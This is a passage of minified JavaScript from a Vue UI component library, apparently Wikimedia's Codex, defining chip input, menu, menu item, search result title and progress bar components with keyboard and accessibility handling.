a;switch(r.key){case"Enter":n("click-chip"),r.preventDefault(),r.stopPropagation();break;case"Escape":(a=l.value)==null||a.blur(),r.preventDefault(),r.stopPropagation();break;case"Backspace":case"Delete":n("remove-chip",r.key),r.preventDefault(),r.stopPropagation();break;case"ArrowLeft":n("arrow-left"),r.preventDefault(),r.stopPropagation();break;case"ArrowRight":n("arrow-right"),r.preventDefault(),r.stopPropagation();break}}return{rootElement:l,rootClasses:s,ariaDescription:d,onKeydown:i,cdxIconClose:Ye,tabIndex:o}},methods:{focus(){this.$refs.rootElement.focus()}}}),Il=["tabindex","aria-description"],xl={class:"cdx-input-chip__text"};function Vl(e,n,o,l,s,d){const i=t.resolveComponent("cdx-icon"),r=t.resolveComponent("cdx-button");return t.openBlock(),t.createElementBlock("div",{ref:"rootElement",class:t.normalizeClass(["cdx-input-chip",e.rootClasses]),tabindex:e.tabIndex,role:"option","aria-description":e.ariaDescription,onKeydown:n[1]||(n[1]=(...a)=>e.onKeydown&&e.onKeydown(...a)),onClick:n[2]||(n[2]=a=>e.$emit("click-chip"))},[e.icon?(t.openBlock(),t.createBlock(i,{key:0,icon:e.icon,size:"small"},null,8,["icon"])):t.createCommentVNode("v-if",!0),t.createElementVNode("span",xl,[t.renderSlot(e.$slots,"default")]),t.createVNode(r,{class:"cdx-input-chip__button",weight:"quiet",tabindex:"-1","aria-hidden":"true",disabled:e.disabled||e.readonly,onClick:n[0]||(n[0]=t.withModifiers(a=>e.$emit("remove-chip","button"),["stop"]))},{default:t.withCtx(()=>[t.createVNode(i,{icon:e.cdxIconClose,size:"x-small"},null,8,["icon"])]),_:1},8,["disabled"])],42,Il)}const El=_(Sl,[["render",Vl]]),Nl=ee(pe),Al=t.defineComponent({name:"CdxChipInput",components:{CdxInputChip:El},inheritAttrs:!1,props:{inputChips:{type:Array,required:!0},inputValue:{type:[String,Number],default:null},separateInput:{type:Boolean,default:!1},status:{type:String,default:"default",validator:Nl},chipValidator:{type:Function,default:e=>!0},disabled:{type:Boolean,default:!1},readonly:{type:Boolean,default:!1}},emits:["update:input-chips","update:input-value","chip-click"],setup(e,{emit:n,attrs:o}){const l=t.ref(),s=t.ref(),d=t.ref(),i=t.ref(""),r=Fe(l),a=t.ref(),u=t.inject(Jt,t.ref(!0)),c=t.ref(""),p=Pe(c,t.toRef(e,"inputValue"),n,"update:input-value"),f=t.ref("default"),m=t.computed(()=>f.value==="error"||e.status==="error"?"error":"default"),{computedDisabled:h,computedStatus:v}=se(t.toRef(e,"disabled"),m),g=t.ref(!1),C=t.computed(()=>({"cdx-chip-input--has-separate-input":e.separateInput,["cdx-chip-input--status-".concat(v.value)]:!0,"cdx-chip-input--focused":g.value,"cdx-chip-input--disabled":h.value,"cdx-chip-input--readonly":e.readonly})),{rootClasses:B,rootStyle:S,otherAttrs:E}=le(o,C),V=[],D=t.ref(null),A=t.computed(()=>D.value?D.value.value:""),$=X("cdx-chip-input-chip-added",y=>"Chip ".concat(y," was added."),[p]),b=X("cdx-chip-input-chip-removed",y=>"Chip ".concat(y," was removed."),[A]);function k(y,T){y!==null&&(V[T]=y)}const I=()=>{a.value.focus()};function x(){e.inputChips.find(y=>y.value===p.value)||!e.chipValidator(p.value)?f.value="error":p.value.toString().length>0&&(i.value=$.value,n("update:input-chips",e.inputChips.concat({value:p.value})),p.value="")}function R(y){e.readonly||h.value||n("update:input-chips",e.inputChips.filter(T=>T.value!==y.value))}function K(y,T){const W=r.value==="ltr"&&y==="left"||r.value==="rtl"&&y==="right"?-1:1,Z=T+W;if(!(Z<0)){if(Z>=e.inputChips.length){I();return}V[Z].focus()}}function z(y){return J(this,null,function*(){var T;n("chip-click",y),!(e.readonly||h.value||!u.value)&&(x(),yield t.nextTick(),R(y),p.value=(T=y.label)!=null?T:y.value,I())})}function O(y,T,W){if(D.value=y,i.value=b.value,W==="button")I();else if(W==="Backspace"){const Z=T===0?1:T-1;Z<e.inputChips.length?V[Z].focus():I()}else if(W==="Delete"){const Z=T+1;Z<e.inputChips.length?V[Z].focus():I()}R(y)}function U(y){var W,Z;const T=r.value==="rtl"?"ArrowRight":"ArrowLeft";switch(y.key){case"Enter":if(p.value.toString().length>0&&u.value){x(),y.preventDefault(),y.stopPropagation();return}break;case"Escape":(W=a.value)==null||W.blur(),y.preventDefault(),y.stopPropagation();return;case"Backspace":case T:if(((Z=a.value)==null?void 0:Z.selectionStart)===0&&a.value.selectionEnd===0&&e.inputChips.length>0){V[e.inputChips.length-1].focus(),y.preventDefault(),y.stopPropagation();return}break}}function L(){g.value=!0}function H(){g.value=!1}function q(y){var T;!((T=l.value)!=null&&T.contains(y.relatedTarget))&&u.value&&x()}return t.watch(t.toRef(e,"inputChips"),y=>{const T=y.find(W=>W.value===p.value);f.value=T?"error":"default"}),t.watch(p,()=>{f.value==="error"&&(f.value="default")}),{rootElement:l,chipsContainer:s,separateInputWrapper:d,input:a,computedInputValue:p,rootClasses:B,rootStyle:S,otherAttrs:E,assignChipTemplateRef:k,handleChipClick:z,handleChipRemove:O,moveChipFocus:K,onInputKeydown:U,focusInput:I,onInputFocus:L,onInputBlur:H,onFocusOut:q,computedDisabled:h,statusMessageContent:i}}}),Dl={ref:"chipsContainer",class:"cdx-chip-input__chips",role:"listbox","aria-orientation":"horizontal"},Ml=["readonly","disabled"],Ll={key:0,ref:"separateInputWrapper",class:"cdx-chip-input__separate-input"},Tl=["readonly","disabled"],Rl={class:"cdx-chip-input__aria-status",role:"status","aria-live":"polite"};function Ol(e,n,o,l,s,d){const i=t.resolveComponent("cdx-input-chip");return t.openBlock(),t.createElementBlock("div",{ref:"rootElement",class:t.normalizeClass(["cdx-chip-input",e.rootClasses]),style:t.normalizeStyle(e.rootStyle),onClick:n[8]||(n[8]=r=>e.disabled||e.readonly?null:e.focusInput),onFocusout:n[9]||(n[9]=(...r)=>e.onFocusOut&&e.onFocusOut(...r))},[t.createElementVNode("div",Dl,[(t.openBlock(!0),t.createElementBlock(t.Fragment,null,t.renderList(e.inputChips,(r,a)=>(t.openBlock(),t.createBlock(i,{key:r.value,ref_for:!0,ref:u=>e.assignChipTemplateRef(u,a),class:t.normalizeClass(["cdx-chip-input__item",r.className]),icon:r.icon,readonly:e.readonly,disabled:e.computedDisabled,onClickChip:u=>e.handleChipClick(r),onRemoveChip:u=>e.handleChipRemove(r,a,u),onArrowLeft:u=>e.moveChipFocus("left",a),onArrowRight:u=>e.moveChipFocus("right",a)},{default:t.withCtx(()=>{var u;return[t.createTextVNode(t.toDisplayString((u=r.label)!=null?u:r.value),1)]}),_:2},1032,["class","icon","readonly","disabled","onClickChip","onRemoveChip","onArrowLeft","onArrowRight"]))),128)),e.separateInput?t.createCommentVNode("v-if",!0):t.withDirectives((t.openBlock(),t.createElementBlock("input",t.mergeProps({key:0,ref:"input","onUpdate:modelValue":n[0]||(n[0]=r=>e.computedInputValue=r),class:"cdx-chip-input__input",readonly:e.readonly,disabled:e.computedDisabled},e.otherAttrs,{onBlur:n[1]||(n[1]=(...r)=>e.onInputBlur&&e.onInputBlur(...r)),onFocus:n[2]||(n[2]=(...r)=>e.onInputFocus&&e.onInputFocus(...r)),onKeydown:n[3]||(n[3]=(...r)=>e.onInputKeydown&&e.onInputKeydown(...r))}),null,16,Ml)),[[t.vModelDynamic,e.computedInputValue]])],512),e.separateInput?(t.openBlock(),t.createElementBlock("div",Ll,[t.withDirectives(t.createElementVNode("input",t.mergeProps({ref:"input","onUpdate:modelValue":n[4]||(n[4]=r=>e.computedInputValue=r),class:"cdx-chip-input__input",readonly:e.readonly,disabled:e.computedDisabled},e.otherAttrs,{onBlur:n[5]||(n[5]=(...r)=>e.onInputBlur&&e.onInputBlur(...r)),onFocus:n[6]||(n[6]=(...r)=>e.onInputFocus&&e.onInputFocus(...r)),onKeydown:n[7]||(n[7]=(...r)=>e.onInputKeydown&&e.onInputKeydown(...r))}),null,16,Tl),[[t.vModelDynamic,e.computedInputValue]])],512)):t.createCommentVNode("v-if",!0),t.createElementVNode("div",Rl,t.toDisplayString(e.statusMessageContent),1)],38)}const cn=_(Al,[["render",Ol]]);function pn(e){return e.replace(/([\\{}()|.?*+\-^$[\]])/g,"\\$1")}const Fl="[̀-ͯ҃-҉֑-ׇֽֿׁׂׅׄؐ-ًؚ-ٰٟۖ-ۜ۟-۪ۤۧۨ-ܑۭܰ-݊ަ-ް߫-߽߳ࠖ-࠙ࠛ-ࠣࠥ-ࠧࠩ-࡙࠭-࡛࣓-ࣣ࣡-ःऺ-़ा-ॏ॑-ॗॢॣঁ-ঃ়া-ৄেৈো-্ৗৢৣ৾ਁ-ਃ਼ਾ-ੂੇੈੋ-੍ੑੰੱੵઁ-ઃ઼ા-ૅે-ૉો-્ૢૣૺ-૿ଁ-ଃ଼ା-ୄେୈୋ-୍ୖୗୢୣஂா-ூெ-ைொ-்ௗఀ-ఄా-ౄె-ైొ-్ౕౖౢౣಁ-ಃ಼ಾ-ೄೆ-ೈೊ-್ೕೖೢೣഀ-ഃ഻഼ാ-ൄെ-ൈൊ-്ൗൢൣංඃ්ා-ුූෘ-ෟෲෳัิ-ฺ็-๎ັິ-ູົຼ່-ໍ༹༘༙༵༷༾༿ཱ-྄྆྇ྍ-ྗྙ-ྼ࿆ါ-ှၖ-ၙၞ-ၠၢ-ၤၧ-ၭၱ-ၴႂ-ႍႏႚ-ႝ፝-፟ᜒ-᜔ᜲ-᜴ᝒᝓᝲᝳ឴-៓៝᠋-᠍ᢅᢆᢩᤠ-ᤫᤰ-᤻ᨗ-ᨛᩕ-ᩞ᩠-᩿᩼᪰-᪾ᬀ-ᬄ᬴-᭄᭫-᭳ᮀ-ᮂᮡ-ᮭ᯦-᯳ᰤ-᰷᳐-᳔᳒-᳨᳭ᳲ-᳴᳷-᳹᷀-᷹᷻-᷿⃐-⃰⳯-⵿⳱ⷠ-〪ⷿ-゙゚〯꙯-꙲ꙴ-꙽ꚞꚟ꛰꛱ꠂ꠆ꠋꠣ-ꠧꢀꢁꢴ-ꣅ꣠-꣱ꣿꤦ-꤭ꥇ-꥓ꦀ-ꦃ꦳-꧀ꧥꨩ-ꨶꩃꩌꩍꩻ-ꩽꪰꪲ-ꪴꪷꪸꪾ꪿꫁ꫫ-ꫯꫵ꫶ꯣ-ꯪ꯬꯭ﬞ︀-️︠-︯]";function fn(e,n){if(!e)return[n,"",""];const o=pn(e),l=new RegExp(o+Fl+"*","i").exec(n);if(!l||l.index===void 0)return[n,"",""];const s=l.index,d=s+l[0].length,i=n.slice(s,d),r=n.slice(0,s),a=n.slice(d,n.length);return[r,i,a]}const Pl=Object.freeze(Object.defineProperty({__proto__:null,regExpEscape:pn,splitStringAtMatch:fn},Symbol.toStringTag,{value:"Module"})),_l=t.defineComponent({name:"CdxSearchResultTitle",props:{title:{type:String,required:!0},searchQuery:{type:String,default:""}},setup:e=>({titleChunks:t.computed(()=>fn(e.searchQuery,String(e.title)))})}),zl={class:"cdx-search-result-title"},Kl={class:"cdx-search-result-title__match"};function Hl(e,n,o,l,s,d){return t.openBlock(),t.createElementBlock("span",zl,[t.createElementVNode("bdi",null,[t.createTextVNode(t.toDisplayString(e.titleChunks[0]),1),t.createElementVNode("span",Kl,t.toDisplayString(e.titleChunks[1]),1),t.createTextVNode(t.toDisplayString(e.titleChunks[2]),1)])])}const mn=_(_l,[["render",Hl]]),Ul=t.defineComponent({name:"CdxMenuItem",components:{CdxIcon:G,CdxThumbnail:gt,CdxSearchResultTitle:mn},props:{id:{type:String,required:!0},value:{type:[String,Number],required:!0},disabled:{type:Boolean,default:!1},selected:{type:Boolean,default:!1},active:{type:Boolean,default:!1},highlighted:{type:Boolean,default:!1},label:{type:String,default:""},match:{type:String,default:""},supportingText:{type:String,default:""},url:{type:String,default:""},icon:{type:[String,Object],default:""},showThumbnail:{type:Boolean,default:!1},thumbnail:{type:[Object,null],default:null},description:{type:[String,null],default:""},searchQuery:{type:String,default:""},boldLabel:{type:Boolean,default:!1},hideDescriptionOverflow:{type:Boolean,default:!1},language:{type:Object,default:()=>({})},action:{type:String,default:"default"},multiselect:{type:Boolean,default:!1}},emits:["change"],setup:(e,{emit:n})=>{const o=()=>{e.highlighted||n("change","highlighted",!0)},l=()=>{n("change","highlighted",!1)},s=c=>{c.button===0&&n("change","active",!0)},d=()=>{n("change","selected",!0)},i=t.computed(()=>e.searchQuery.length>0),r=t.computed(()=>({"cdx-menu-item--selected":e.selected,"cdx-menu-item--active":e.active&&e.highlighted,"cdx-menu-item--highlighted":e.highlighted,"cdx-menu-item--destructive":e.action&&e.action==="destructive","cdx-menu-item--enabled":!e.disabled,"cdx-menu-item--disabled":e.disabled,"cdx-menu-item--highlight-query":i.value,"cdx-menu-item--bold-label":e.boldLabel,"cdx-menu-item--has-description":!!e.description,"cdx-menu-item--hide-description-overflow":e.hideDescriptionOverflow})),a=t.computed(()=>e.url?"a":"span"),u=t.computed(()=>e.label||String(e.value));return{onMouseMove:o,onMouseLeave:l,onMouseDown:s,onClick:d,highlightQuery:i,rootClasses:r,contentTag:a,title:u,cdxIconCheck:io}}}),jl=["id","aria-disabled","aria-selected","aria-checked"],Wl={class:"cdx-menu-item__text"},ql=["lang"],Ql=["lang"],Gl=["lang"],Yl=["lang"];function Xl(e,n,o,l,s,d){const i=t.resolveComponent("cdx-thumbnail"),r=t.resolveComponent("cdx-icon"),a=t.resolveComponent("cdx-search-result-title");return t.openBlock(),t.createElementBlock("li",{id:e.id,role:"option",class:t.normalizeClass(["cdx-menu-item",e.rootClasses]),"aria-disabled":e.disabled,"aria-selected":e.selected&&!e.multiselect?!0:void 0,"aria-checked":e.selected&&e.multiselect?!0:void 0,onMousemove:n[0]||(n[0]=(...u)=>e.onMouseMove&&e.onMouseMove(...u)),onMouseleave:n[1]||(n[1]=(...u)=>e.onMouseLeave&&e.onMouseLeave(...u)),onMousedown:n[2]||(n[2]=t.withModifiers((...u)=>e.onMouseDown&&e.onMouseDown(...u),["prevent"])),onClick:n[3]||(n[3]=(...u)=>e.onClick&&e.onClick(...u))},[t.renderSlot(e.$slots,"default",{},()=>[(t.openBlock(),t.createBlock(t.resolveDynamicComponent(e.contentTag),{href:e.url?e.url:void 0,class:"cdx-menu-item__content"},{default:t.withCtx(()=>{var u,c,p,f,m,h;return[e.showThumbnail?(t.openBlock(),t.createBlock(i,{key:0,thumbnail:e.thumbnail,class:"cdx-menu-item__thumbnail"},null,8,["thumbnail"])):e.icon?(t.openBlock(),t.createBlock(r,{key:1,icon:e.icon,class:"cdx-menu-item__icon"},null,8,["icon"])):t.createCommentVNode("v-if",!0),t.createElementVNode("span",Wl,[e.highlightQuery?(t.openBlock(),t.createBlock(a,{key:0,title:e.title,"search-query":e.searchQuery,lang:(u=e.language)==null?void 0:u.label},null,8,["title","search-query","lang"])):(t.openBlock(),t.createElementBlock("span",{key:1,class:"cdx-menu-item__text__label",lang:(c=e.language)==null?void 0:c.label},[t.createElementVNode("bdi",null,t.toDisplayString(e.title),1)],8,ql)),e.match?(t.openBlock(),t.createElementBlock(t.Fragment,{key:2},[n[4]||(n[4]=t.createTextVNode(t.toDisplayString(" ")+" ")),e.highlightQuery?(t.openBlock(),t.createBlock(a,{key:0,title:e.match,"search-query":e.searchQuery,lang:(p=e.language)==null?void 0:p.match},null,8,["title","search-query","lang"])):(t.openBlock(),t.createElementBlock("span",{key:1,class:"cdx-menu-item__text__match",lang:(f=e.language)==null?void 0:f.match},[t.createElementVNode("bdi",null,t.toDisplayString(e.match),1)],8,Ql))],64)):t.createCommentVNode("v-if",!0),e.supportingText?(t.openBlock(),t.createElementBlock(t.Fragment,{key:3},[n[5]||(n[5]=t.createTextVNode(t.toDisplayString(" ")+" ")),t.createElementVNode("span",{class:"cdx-menu-item__text__supporting-text",lang:(m=e.language)==null?void 0:m.supportingText},[t.createElementVNode("bdi",null,t.toDisplayString(e.supportingText),1)],8,Gl)],64)):t.createCommentVNode("v-if",!0),e.description?(t.openBlock(),t.createElementBlock("span",{key:4,class:"cdx-menu-item__text__description",lang:(h=e.language)==null?void 0:h.description},[t.createElementVNode("bdi",null,t.toDisplayString(e.description),1)],8,Yl)):t.createCommentVNode("v-if",!0)]),e.multiselect&&e.selected?(t.openBlock(),t.createBlock(r,{key:2,icon:e.cdxIconCheck,size:"small",class:"cdx-menu-item__selected-icon"},null,8,["icon"])):t.createCommentVNode("v-if",!0)]}),_:1},8,["href"]))])],42,jl)}const hn=_(Ul,[["render",Xl]]),Zl=t.defineComponent({name:"CdxProgressBar",props:{inline:{type:Boolean,default:!1},disabled:{type:Boolean,default:!1}},setup(e,{attrs:n}){Je(()=>!e.inline&&!n["aria-label"]&&!n["aria-hidden"],"CdxProgressBar: Progress bars require one of the following attribute, aria-label or aria-hidden. See documentation on https://doc.wikimedia.org/codex/latest/components/demos/progressbar.html");const o=t.computed(()=>({"cdx-progress-bar--block":!e.inline,"cdx-progress-bar--inline":e.inline,"cdx-progress-bar--enabled":!e.disabled,"cdx-progress-bar--disabled":e.disabled})),l=t.computed(()=>e.inline?"true":void 0);return{rootClasses:o,computedAriaHidden:l}}}),Jl=["aria-hidden","aria-disabled"];function ea(e,n,o,l,s,d){return t.openBlock(),t.createElementBlock("div",{class:t.normalizeClass(["cdx-progress-bar",e.rootClasses]),role:"progressbar","aria-hidden":e.computedAriaHidden,"aria-disabled":e.disabled},n[0]||(n[0]=[t.createElementVNode("div",{class:"cdx-progress-bar__bar"},null,-1)]),10,Jl)}const yt=_(Zl,[["render",ea]]);function We(e,n){const o=t.ref(!1);let l=!1;if(typeof window!="object"||!("IntersectionObserver"in window&&"IntersectionObserverEntry"in window&&"intersectionRatio"in window.IntersectionObserverEntry.prototype))return o;const s=new window.IntersectionObserver(d=>{const i=d[0];i&&(o.value=i.isIntersecting)},n);return t.onMounted(()=>{l=!0,e.value&&s.observe(e.value)}),t.onUnmounted(()=>{l=!1,s.disconnect()}),t.watch(e,d=>{l&&(s.disconnect(),o.value=!1,d&&s.observe(d))}),o}function He(e){return e!==null&&Array.isArray(e)}function Le(e){return"items"in e}const ta=t.defineComponent({name:"CdxMenu",components:{CdxMenuItem:hn,CdxIcon:G,CdxProgressBar:yt},inheritAttrs:!1,props:{menuItems:{type:Array,required:!0},footer:{type:Object,default:null},selected:{type:[String,Number,Array,null],required:!0},expanded:{type:Boolean,required:!0},showPending:{type:Boolean,default:!1},visibleItemLimit:{type:Number,default:null},showThumbnail:{type:Boolean,default:!1},boldLabel:{type:Boolean,default:!1},hideDescriptionOverflow:{type:Boolean,default:!1},searchQuery:{type:String,default:""},showNoResultsSlot:{type:Boolean,default:null}},emits:["update:selected","update:expanded","menu-item-click","menu-item-keyboard-navigation","load-more"],setup(e,{emit:n,slots:o,attrs:l}){const s=t.useId();let d=0;const i=new Map;function r(){return d+=1,"".concat(s,"-").concat(d)}function a(w){w.forEach(N=>{if(Le(N)){const F="group-".concat(N.label);i.has(F)||i.set(F,r()),N.items.forEach(j=>{i.has(j.value)||i.set(j.value,r())})}else i.has(N.value)||i.set(N.value,r())})}t.watch(t.toRef(e,"menuItems"),w=>{function N(j){const ne=new Set;return j.forEach(te=>{Le(te)?(ne.add("group-".concat(te.label)),te.items.forEach(xe=>ne.add(xe.value))):ne.add(te.value)}),ne}const F=N(w);i.forEach((j,ne)=>{F.has(ne)||i.delete(ne)})},{deep:!0});const u=t.computed(()=>{a(e.menuItems),e.footer&&a([e.footer]);const w=e.footer&&e.menuItems?[...e.menuItems,e.footer]:e.menuItems;function N(F){const j=i.get(F.value);if(!j)throw new Error("No ID found for menu item with value ".concat(F.value));return ae(Y({},F),{id:j})}return w.map(F=>{if(Le(F)){const j=i.get("group-".concat(F.label));if(!j)throw new Error("No ID found for menu item with value group-".concat(F.label));return ae(Y({},F),{id:j,items:F.items.map(ne=>N(ne))})}else return N(F)})}),c=t.computed(()=>{const w=[];return u.value.forEach(N=>{Le(N)?w.push(...N.items):w.push(N)}),w}),p=t.computed(()=>o["no-results"]?e.showNoResultsSlot!==null?e.showNoResultsSlot:c.value.length===0:!1),f=t.ref(null),m=t.ref(!1),h=t.ref(null),v="additions removals";let g="",C=null;function B(){g="",C!==null&&(clearTimeout(C),C=null)}function S(){C!==null&&clearTimeout(C),C=setTimeout(B,1500)}function E(){var w;return(w=c.value.find(N=>He(e.selected)?e.selected.includes(N.value):N.value===e.selected))!=null?w:null}const V=t.computed(()=>He(e.selected));function D(w){return He(e.selected)?e.selected.includes(w):w===e.selected}function A(w){if(He(e.selected)){const N=e.selected.includes(w)?e.selected.filter(F=>F!==w):e.selected.concat(w);n("update:selected",N)}else n("update:selected",w)}function $(w,N){if(!(N!=null&&N.disabled))switch(w){case"selected":N&&A(N.value),V.value||n("update:expanded",!1),h.value=null;break;case"highlighted":f.value=N!=null?N:null,m.value=!1;break;case"highlightedViaKeyboard":f.value=N!=null?N:null,m.value=!0;break;case"active":h.value=N!=null?N:null;break}}const b=t.computed(()=>{if(f.value!==null)return c.value.findIndex(w=>w.value===f.value.value)});function k(w){w&&($("highlightedViaKeyboard",w),n("menu-item-keyboard-navigation",w))}function I(w){var j;const N=ne=>{for(let te=ne-1;te>=0;te--)if(!c.value[te].disabled)return c.value[te]};w=w!=null?w:c.value.length;const F=(j=N(w))!=null?j:N(c.value.length);k(F)}function x(w){var j;const N=ne=>c.value.find((te,xe)=>!te.disabled&&xe>ne);w=w!=null?w:-1;const F=(j=N(w))!=null?j:N(-1);k(F)}function R(w){if(w.key==="Clear")return B(),!0;if(w.key==="Backspace")return g=g.slice(0,-1),S(),!0;if(w.key.length===1&&!w.metaKey&&!w.ctrlKey&&!w.altKey){if(e.expanded||n("update:expanded",!0),w.key===" "&&g.length<1)return!1;g+=w.key.toLowerCase();const N=g.length>1&&g.split("").every(te=>te===g[0]);let F=c.value,j=g;N&&b.value!==void 0&&(F=F.slice(b.value+1).concat(F.slice(0,b.value)),j=g[0]);const ne=F.find(te=>{var xe;return!te.disabled&&String((xe=te.label)!=null?xe:te.value).toLowerCase().startsWith(j)});return ne&&($("highlightedViaKeyboard",ne),y()),S(),!0}return!1}function K(w,{prevent:N=!0,characterNavigation:F=!1}={}){if(F){if(R(w))return w.preventDefault(),!0;B()}function j(){N&&(w.preventDefault(),w.stopPropagation())}switch(w.key){case"Enter":case" ":return j(),e.expanded?(f.value&&m.value&&A(f.value.value),V.value||n("update:expanded",!1)):n("update:expanded",!0),!0;case"Tab":return e.expanded&&f.value&&m.value&&!V.value&&(A(f.value.value),n("update:expanded",!1)),!0;case"ArrowUp":return j(),e.expanded?(f.value===null&&$("highlightedViaKeyboard",E()),I(b.value)):n("update:expanded",!0),y(),!0;case"ArrowDown":return j(),e.expanded?(f.value===null&&$("highlightedViaKeyboard",E()),x(b.value)):n("update:expanded",!0),y(),!0;case"Home":return j(),e.expanded?(f.value===null&&$("highlightedViaKeyboard",E()),x()):n("update:expanded",!0),y(),!0;case"End":return j(),e.expanded?(f.value===null&&$("highlightedViaKeyboard",E()),I()):n("update:expanded",!0),y(),!0;case"Escape":return j(),n("update:expanded",!1),!0;default:return!1}}function z(){$("active",null)}const O=[],U=t.ref(void 0),L=We(U,{threshold:.8});t.watch(L,w=>{w&&n("load-more")});function H(w,N){if(w){O[N]=w.$el;const F=e.visibleItemLimit;if(!F||e.menuItems.length<F)return;const j=Math.min(F,Math.max(2,Math.floor(.2*e.menuItems.length)));N===e.menuItems.length-j&&(U.value=w.$el)}}const q=t.ref();function y(){const w=q.value&&q.value.scrollHeight>q.value.clientHeight;if(b.value===void 0||!w)return;const N=b.value>=0?b.value:0;O[N].scrollIntoView({behavior:"smooth",block:"nearest"})}const T=t.ref(null),W=t.ref(null);function Z(){return J(this,null,function*(){yield t.nextTick(),at(),st(),yield t.nextTick(),y()})}function at(){if(e.footer){const w=O[O.length-1];W.value=w.scrollHeight}else W.value=null}function st(){if(!e.visibleItemLimit||O.length<=e.visibleItemLimit){T.value=null;return}const w=O[0].getBoundingClientRect().top,N=O[e.visibleItemLimit].getBoundingClientRect().top;T.value=N-w+2}function it(w){return{"cdx-menu__group-wrapper--hide-label":!!w.hideLabel}}function rt(w){return c.value.indexOf(w)}function M(w){var N,F;return Y({selected:D(w.value),active:w.value===((N=h.value)==null?void 0:N.value),highlighted:w.value===((F=f.value)==null?void 0:F.value),showThumbnail:e.showThumbnail,boldLabel:e.boldLabel,hideDescriptionOverflow:e.hideDescriptionOverflow,searchQuery:e.searchQuery,multiselect:V.value},w)}function P(w){return{change:(N,F)=>$(N,F?w:null),click:()=>n("menu-item-click",w)}}function Q(w){var N,F;return{menuItem:w,active:w.value===((N=h.value)==null?void 0:N.value)&&w.value===((F=f.value)==null?void 0:F.value)}}t.onMounted(()=>{document.addEventListener("mouseup",z)}),t.onUnmounted(()=>{document.removeEventListener("mouseup",z)}),t.watch(t.toRef(e,"expanded"),w=>J(this,null,function*(){if(w){const N=E();N&&!f.value&&$("highlighted",N),yield Z()}else $("highlighted",null)})),t.watch(t.toRef(e,"menuItems"),w=>J(this,null,function*(){w.length<O.length&&(O.length=w.length),e.expanded&&(yield Z())}),{deep:!0});const be=t.computed(()=>({"max-height":T.value?"".concat(T.value,"px"):void 0,"margin-bottom":W.value?"".concat(W.value,"px"):void 0})),Ln=t.computed(()=>({"cdx-menu--has-footer":!!e.footer})),{rootClasses:Tn,rootStyle:Rn,otherAttrs:On}=le(l,Ln);return{listBoxStyle:be,rootClasses:Tn,rootStyle:Rn,otherAttrs:On,assignTemplateRef:H,computedMenuEntries:u,computedMenuItems:c,computedShowNoResultsSlot:p,highlightedMenuItem:f,highlightedViaKeyboard:m,handleMenuItemChange:$,handleKeyNavigation:K,ariaRelevant:v,isMultiselect:V,menuListbox:q,getGroupWrapperClasses:it,getMenuItemIndex:rt,getMenuItemBindings:M,getMenuItemHandlers:P,getSlotBindings:Q,isMenuGroupData:Le}},methods:{isExpanded(){return this.expanded},getHighlightedMenuItem(){return this.expanded?this.highlightedMenuItem:null},getHighlightedViaKeyboard(){return this.highlightedViaKeyboard},getComputedMenuItems(){return this.computedMenuItems},clearActive(){this.handleMenuItemChange("active",null)},delegateKeyNavigation(e,{prevent:n=!0,characterNavigation:o=!1}={}){return this.handleKeyNavigation(e,{prevent:n,characterNavigation:o})}}}),na=["aria-live","aria-relevant","aria-multiselectable"],oa={key:0,class:"cdx-menu__pending cdx-menu-item"},la={key:1,class:"cdx-menu__no-results cdx-menu-item",role:"option"},aa=["aria-labelledby","aria-describedby"],sa={class:"cdx-menu__group__meta"},ia={class:"cdx-menu__group__meta__text"},ra=["id"],da=["id"];function ua(e,n,o,l,s,d){const i=t.resolveComponent("cdx-icon"),r=t.resolveComponent("cdx-menu-item"),a=t.resolveComponent("cdx-progress-bar");return t.withDirectives((t.openBlock(),t.createElementBlock("div",{class:t.normalizeClass(["cdx-menu",e.rootClasses]),style:t.normalizeStyle(e.rootStyle)},[t.createElementVNode("ul",t.mergeProps({ref:"menuListbox",class:"cdx-menu__listbox",role:"listbox",tabindex:"-1",style:e.listBoxStyle,"aria-live":e.showPending?"polite":void 0,"aria-relevant":e.showPending?e.ariaRelevant:void 0,"aria-multiselectable":e.isMultiselect?!0:void 0},e.otherAttrs),[e.showPending&&e.computedMenuItems.length===0&&e.$slots.pending?(t.openBlock(),t.createElementBlock("li",oa,[t.renderSlot(e.$slots,"pending")])):t.createCommentVNode("v-if",!0),e.computedShowNoResultsSlot?(t.openBlock(),t.createElementBlock("li",la,[t.renderSlot(e.$slots,"no-results")])):t.createCommentVNode("v-if",!0),(t.openBlock(!0),t.createElementBlock(t.Fragment,null,t.renderList(e.computedMenuEntries,(u,c)=>(t.openBlock(),t.createElementBlock(t.Fragment,{key:c},[e.isMenuGroupData(u)?(t.openBlock(),t.createElementBlock("li",{key:0,class:t.normalizeClass(["cdx-menu__group-wrapper",e.getGroupWrapperClasses(u)])},[t.createElementVNode("ul",{class:"cdx-menu__group",role:"group","aria-labelledby":u.id+"-label","aria-describedby":u.id+"-description"},[t.createElementVNode("span",sa,[u.icon?(t.openBlock(),t.createBlock(i,{key:0,class:"cdx-menu__group__icon",icon:u.icon},null,8,["icon"])):t.createCommentVNode("v-if",!0),t.createElementVNode("span",ia,[t.createElementVNode("span",{id:u.id+"-label",class:"cdx-menu__group__label"},t.toDisplayString(u.label),9,ra),u.description?(t.openBlock(),t.createElementBlock("span",{key:0,id:u.id+"-description",class:"cdx-menu__group__description"},t.toDisplayString(u.description),9,da)):t.createCommentVNode("v-if",!0)])]),(t.openBlock(!0),t.createElementBlock(t.Fragment,null,t.renderList(u.items,p=>(t.openBlock(),t.createBlock(r,t.mergeProps({key:p.value,ref_for:!0,ref:f=>e.assignTemplateRef(f,e.getMenuItemIndex(p)),class:"cdx-menu__group__item"},e.getMenuItemBindings(p),t.toHandlers(e.getMenuItemHandlers(p))),{default:t.withCtx(()=>[t.renderSlot(e.$slots,"default",t.mergeProps({ref_for:!0},e.getSlotBindings(p)))]),_:2},1040))),128))],8,aa)],2)):(t.openBlock(),t.createBlock(r,t.mergeProps({key:1,ref_for:!0,ref:p=>e.assignTemplateRef(p,e.getMenuItemIndex(u))},e.getMenuItemBindings(u),t.toHandlers(e.getMenuItemHandlers(u))),{default:t.withCtx(()=>[t.renderSlot(e.$slots,"default",t.mergeProps({ref_for:!0},e.getSlotBindings(u)))]),_:2},1040))],64))),128)),e.showPending?(t.openBlock(),t.createBlock(a,{key:2,class:"cdx-menu__progress-bar",inline:!0})):t.createCommentVNode("v-if",!0)],16,na)],6)),[[t.vShow,e.expanded]])}const 